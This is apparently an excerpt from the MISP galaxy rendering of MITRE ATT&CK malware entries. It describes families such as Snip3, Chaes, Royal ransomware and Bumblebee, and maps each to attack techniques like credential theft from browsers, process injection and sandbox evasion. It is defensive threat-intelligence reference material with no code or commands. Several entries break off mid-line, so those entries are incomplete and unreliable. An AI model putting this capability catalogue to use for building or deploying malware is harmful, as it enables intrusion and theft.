• uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:tool="BUGJUICE" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:malpedia="RedLeaves" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:rat="RedLeaves" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6845. Table References
Snip3 - S1086

[Snip3](https://attack.mitre.org/software/S1086) is a sophisticated crypter-as-a-service that has been used since at least 2021 to obfuscate and load numerous strains of malware including [AsyncRAT](https://attack.mitre.org/software/S1087), [Revenge RAT](https://attack.mitre.org/software/S0379), [Agent Tesla](https://attack.mitre.org/software/S0331), and [NETWIRE](https://attack.mitre.org/software/S0198).(Citation: Morphisec Snip3 May 2021)(Citation: Telefonica Snip3 December 2021)

The tag is: `misp-galaxy:mitre-malware="Snip3 - S1086"`

Snip3 - S1086 is also known as:

- Snip3

View relationships graph

Snip3 - S1086 has relationships with:


- uses: `misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"


- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Multi-Stage Channels - T1104" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

Table 6846. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1086">https://attack.mitre.org/software/S1086</a></td>
</tr>
<tr>
<td><a href="https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader">https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader</a></td>
</tr>
<tr>
<td><a href="https://telefonicatech.com/blog/snip3-investigacion-malware">https://telefonicatech.com/blog/snip3-investigacion-malware</a></td>
</tr>
</tbody>
</table>

USBStealer - S0136

[USBStealer](https://attack.mitre.org/software/S0136) is malware that has been used by [APT28](https://attack.mitre.org/groups/G0007) since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with [ADVSTORESHELL](https://attack.mitre.org/software/S0045). (Citation: ESET Sednit USBStealer 2014) (Citation: Kaspersky Sofacy)

The tag is: `misp-galaxy:mitre-malware="USBStealer - S0136"`

USBStealer - S0136 is also known as:

• USBStealer
USB Stealer
Win32/USBStealer

View relationships graph

USBStealer - S0136 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="USBStealer" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Communication Through Removable Media - T1092" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration over USB - T1052.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

Table 6847. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0136">https://attack.mitre.org/software/S0136</a></td>
</tr>
</tbody>
</table>
Chaes - S0631

[Chaes](https://attack.mitre.org/software/S0631) is a multistage information stealer written in several programming languages that collects login credentials, credit card numbers, and other financial information. [Chaes](https://attack.mitre.org/software/S0631) was first observed in 2020, and appears to primarily target victims in Brazil as well as other e-commerce customers in Latin America.(Citation: Cybereason Chaes Nov 2020)

The tag is: *misp-galaxy:mitre-malware="Chaes - S0631"*

Chaes - S0631 is also known as:

- Chaes

View relationships graph

Chaes - S0631 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Fileless Storage - T1027.011" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Steal Web Session Cookie - T1539" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="InstallUtil - T1218.004" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern=“Msiexec - T1218.007” with estimative-language:likelihood-probability=“almost-certain"

• uses: misp-galaxy:mitre-attack-pattern=“Native API - T1106” with estimative-language:likelihood-probability=“almost-certain"

• uses: misp-galaxy:mitre-attack-pattern=“Deobfuscate/Decode Files or Information - T1140” with estimative-language:likelihood-probability=“almost-certain"

• uses: misp-galaxy:mitre-attack-pattern=“Browser Session Hijacking - T1185” with estimative-language:likelihood-probability=“almost-certain"

• uses: misp-galaxy:mitre-attack-pattern=“Modify Registry - T1112” with estimative-language:likelihood-probability=“almost-certain"

• uses: misp-galaxy:mitre-attack-pattern=“Credentials from Web Browsers - T1555.003” with estimative-language:likelihood-probability=“almost-certain"

• uses: misp-galaxy:mitre-attack-pattern=“Registry Run Keys / Startup Folder - T1547.001” with estimative-language:likelihood-probability=“almost-certain"


• uses: misp-galaxy:mitre-attack-pattern=“Encrypted Channel - T1573” with estimative-language:likelihood-probability=“almost-certain"


• uses: misp-galaxy:mitre-attack-pattern=“Template Injection - T1221” with estimative-language:likelihood-probability=“almost-certain"


• uses: misp-galaxy:mitre-attack-pattern=“Ingress Tool Transfer - T1105” with estimative-language:likelihood-probability=“almost-certain"

A Table 6848. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0631">https://attack.mitre.org/software/S0631</a></td>
</tr>
</tbody>
</table>
### Janicab - S0163

[Janicab](https://attack.mitre.org/software/S0163) is an OS X trojan that relied on a valid developer ID and oblivious users to install it. (Citation: Janicab)

The tag is: `misp-galaxy:mitre-malware="Janicab - S0163"`

Janicab - S0163 is also known as:

- Janicab

View relationships graph

Janicab - S0163 has relationships with:

- similar: `misp-galaxy:tool="Janicab"` with `estimative-language:likelihood-probability="likely"`

*Table 6849. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.thesafemac.com/new-signed-malware-called-janicab/">http://www.thesafemac.com/new-signed-malware-called-janicab/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/software/S0163">https://attack.mitre.org/software/S0163</a></td>
</tr>
</tbody>
</table>

### STARWHALE - S1037

[STARWHALE](https://attack.mitre.org/software/S1037) is Windows Script File (WSF) backdoor that has been used by [MuddyWater](https://attack.mitre.org/groups/G0069), possibly since at least November 2021; there is also a [STARWHALE](https://attack.mitre.org/software/S1037) variant written in Golang with similar capabilities. Security researchers have also noted the use of [STARWHALE](https://attack.mitre.org/software/S1037) by UNC3313, which may be associated with [MuddyWater](https://attack.mitre.org/groups/G0069). (Citation: Mandiant UNC3313 Feb 2022)(Citation: DHS CISA AA22-055A MuddyWater February 2022)

The tag is: `misp-galaxy:mitre-malware="STARWHALE - S1037"`

STARWHALE - S1037 is also known as:

- STARWHALE
- CANOPY
STARWHALE - S1037 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 6850. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1037">https://attack.mitre.org/software/S1037</a></td>
</tr>
<tr>
<td><a href="https://www.cisa.gov/uscert/ncas/alerts/aa22-055a">https://www.cisa.gov/uscert/ncas/alerts/aa22-055a</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/telegram-malware-iranian-espionage">https://www.mandiant.com/resources/telegram-malware-iranian-espionage</a></td>
</tr>
</tbody>
</table>

3834
CORESHELL - S0137

[CORESHELL](https://attack.mitre.org/software/S0137) is a downloader used by [APT28](https://attack.mitre.org/groups/G0007). The older versions of this malware are known as SOURFACE and newer versions as CORESHELL. (Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)

The tag is: `misp-galaxy:mitre-malware="CORESHELL - S0137"`

CORESHELL - S0137 is also known as:

- CORESHELL
- Sofacy
- SOURFACE

View relationships graph

CORESHELL - S0137 has relationships with:


- similar: `misp-galaxy:tool="SOURFACE"` with estimative-language:likelihood-probability="likely"


- similar: `misp-galaxy:tool="CORESHELL"` with estimative-language:likelihood-probability="likely"


- uses: `misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"


- uses: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"

*Table 6851. Table References*
FLIPSIDE - S0173

[FLIPSIDE](https://attack.mitre.org/software/S0173) is a simple tool similar to Plink that is used by [FIN5](https://attack.mitre.org/groups/G0053) to maintain access to victims. (Citation: Mandiant FIN5 GrrCON Oct 2016)

The tag is: `misp-galaxy:mitre-malware="FLIPSIDE - S0173"`

FLIPSIDE - S0173 is also known as:

- FLIPSIDE

View relationships graph

FLIPSIDE - S0173 has relationships with:


Table 6852. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0173">https://attack.mitre.org/software/S0173</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=fevGZs0EQu8">https://www.youtube.com/watch?v=fevGZs0EQu8</a></td>
</tr>
</tbody>
</table>

POWERTON - S0371

[POWERTON](https://attack.mitre.org/software/S0371) is a custom PowerShell backdoor first observed in 2018. It has typically been deployed as a late-stage backdoor by [APT33](https://attack.mitre.org/groups/G0064). At least two variants of the backdoor have been identified, with the later version containing improved functionality. (Citation: FireEye APT33 Guardrail)

The tag is: `misp-galaxy:mitre-malware="POWERTON - S0371"`

POWERTON - S0371 is also known as:

- POWERTON

View relationships graph
POWERTON - S0371 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

Table 6853. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0371">https://attack.mitre.org/software/S0371</a></td>
</tr>
</tbody>
</table>

Marcher - S0317

[Marcher](https://attack.mitre.org/software/S0317) is Android malware that is used for financial fraud. (Citation: Proofpoint-Marcher)

The tag is: misp-galaxy:mitre-malware="Marcher - S0317"

View relationships graph

Marcher - S0317 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Device Administrator Permissions - T1626.001" with estimative-language:likelihood-probability="almost-certain"

Table 6854. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0317">https://attack.mitre.org/software/S0317</a></td>
</tr>
</tbody>
</table>
Royal - S1073

Royal - S1073 is ransomware that first appeared in early 2022; a version that also targets ESXi servers was later observed in February 2023. Royal employs partial encryption and multiple threads to evade detection and speed encryption. Royal has been used in attacks against multiple industries worldwide—including critical infrastructure. Security researchers have identified similarities in the encryption routines and TTPs used in attacks and noted a possible connection between their operators.

The tag is: misp-galaxy:mitre-malware="Royal - S1073"

Royal - S1073 is also known as:

- Royal

View relationships graph

Royal - S1073 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with
estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

Table 6855. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1073">https://attack.mitre.org/software/S1073</a></td>
</tr>
<tr>
<td><a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-061a">https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-061a</a></td>
</tr>
<tr>
<td><a href="https://www.cybereason.com/blog/royal-ransomware-analysis">https://www.cybereason.com/blog/royal-ransomware-analysis</a></td>
</tr>
</tbody>
</table>

OLDBAIT - S0138

[OLDBAIT](https://attack.mitre.org/software/S0138) is a credential harvester used by [APT28](https://attack.mitre.org/groups/G0007). (Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)

The tag is: `misp-galaxy:mitre-malware="OLDBAIT - S0138"`

OLDBAIT - S0138 is also known as:

- OLDBAIT
- Sasfis

View relationships graph

OLDBAIT - S0138 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="OLDBAIT" with estimative-language:likelihood-probability="likely"
FlawedAmmyy - S0381

[FlawedAmmyy](https://attack.mitre.org/software/S0381) is a remote access tool (RAT) that was first seen in early 2016. The code for [FlawedAmmyy](https://attack.mitre.org/software/S0381) was based on leaked source code for a version of Ammyy Admin, a remote access software.(Citation: Proofpoint TA505 Mar 2018)

The tag is: `misp-galaxy:mitre-malware="FlawedAmmyy - S0381"`

FlawedAmmyy - S0381 is also known as:

- FlawedAmmyy

View relationships graph

FlawedAmmyy - S0381 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120"` with estimative-
Chameleon - S1083

[Chameleon](https://attack.mitre.org/software/S1083) is an Android banking trojan that can leverage Android's Accessibility Services to perform malicious activities. Believed to have been first active in January 2023, [Chameleon](https://attack.mitre.org/software/S1083) has been observed...
targeting users in Australia and Poland by masquerading as official apps. (Citation: cyble_chameleon_0423)

The tag is: `misp-galaxy:mitre-malware="Chameleon - S1083"`

Chameleon - S1083 is also known as:

- Chameleon

**View relationships graph**

Chameleon - S1083 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1630"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1655.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1629.003"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1544"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="System Checks - T1633.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1509"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Location Tracking - T1430"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Keylogging - T1417.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004"` with estimative-language:likelihood-probability="almost-certain"
Table 6858. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1083">https://attack.mitre.org/software/S1083</a></td>
</tr>
</tbody>
</table>

**HAWKBALL - S0391**

[HAWKBALL](https://attack.mitre.org/software/S0391) is a backdoor that was observed in targeting of the government sector in Central Asia. (Citation: FireEye HAWKBALL Jun 2019)

The tag is: *misp-galaxy:mitre-malware="HAWKBALL - S0391"*

HAWKBALL - S0391 is also known as:

- HAWKBALL

View relationships graph

HAWKBALL - S0391 has relationships with:


- uses: *misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"


- uses: *misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-
Allwinner - S0319

[Allwinner](https://attack.mitre.org/software/S0319) is a company that supplies processors used in Android tablets and other devices. A Linux kernel distributed by [Allwinner](https://attack.mitre.org/software/S0319) for use on these devices reportedly contained a backdoor. (Citation: HackerNews-Allwinner)

The tag is: misp-galaxy:mitre-malware="Allwinner - S0319"

View relationships graph

Allwinner - S0319 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Compromise Software Supply Chain - T1474.003" with estimative-language:likelihood-probability="almost-certain"

Bumblebee - S1039

[Bumblebee](https://attack.mitre.org/software/S1039) is a custom loader written in C++ that has been used by multiple threat actors, including possible initial access brokers, to download and execute additional payloads since at least March 2022. [Bumblebee](https://attack.mitre.org/software/S1039) has been linked to ransomware operations including [Conti](https://attack.mitre.org/software/S0575), Quantum, and Mountlocker and derived its name from the appearance of "bumblebee" in the user-agent.(Citation: Google EXOTIC LILY March 2022)(Citation: Proofpoint Bumblebee April 2022)(Citation: Symantec Bumblebee June 2022)

The tag is: misp-galaxy:mitre-malware="Bumblebee - S1039"
Bumblebee - S1039 is also known as:

- Bumblebee

**View relationships graph**

Bumblebee - S1039 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="System Checks - T1497.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Odbcconf - T1218.008" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Asynchronous Procedure Call - T1055.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Debugger Evasion - T1622" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
PowerDuke - S0139

[PowerDuke](https://attack.mitre.org/software/S0139) is a backdoor that was used by [APT29](https://attack.mitre.org/groups/G0016) in 2016. It has primarily been delivered through Microsoft Word or Excel attachments containing malicious macros. (Citation: Volexity PowerDuke November 2016)

The tag is: *misp-galaxy:mitre-malware="PowerDuke - S0139"*

PowerDuke - S0139 is also known as:

- PowerDuke

**View relationships graph**

PowerDuke - S0139 has relationships with:


- uses: *misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"


- uses: *misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

FlyTrap - S1093

[FlyTrap](https://attack.mitre.org/software/S1093) is an Android trojan, first detected in March 2021, that uses social engineering tactics to compromise Facebook accounts. [FlyTrap](https://attack.mitre.org/software/S1093) was initially detected through infected apps on the Google Play store, and is believed to have impacted over 10,000 victims across at least 140 countries.(Citation: Trend Micro FlyTrap)

The tag is: `misp-galaxy:mitre-malware="FlyTrap - S1093"`

FlyTrap - S1093 is also known as:

- FlyTrap

View relationships graph

FlyTrap - S1093 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1646" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="GUI Input Capture - T1417.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"

Table 6863. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1093">https://attack.mitre.org/software/S1093</a></td>
</tr>
</tbody>
</table>

**BabyShark - S0414**

[BabyShark](https://attack.mitre.org/software/S0414) is a Microsoft Visual Basic (VB) script-based malware family that is believed to be associated with several North Korean campaigns. (Citation: Unit42 BabyShark Feb 2019)

The tag is: *misp-galaxy:mitre-malware="BabyShark - S0414"*

BabyShark - S0414 is also known as:

• BabyShark

View relationships graph

BabyShark - S0414 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with
estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"


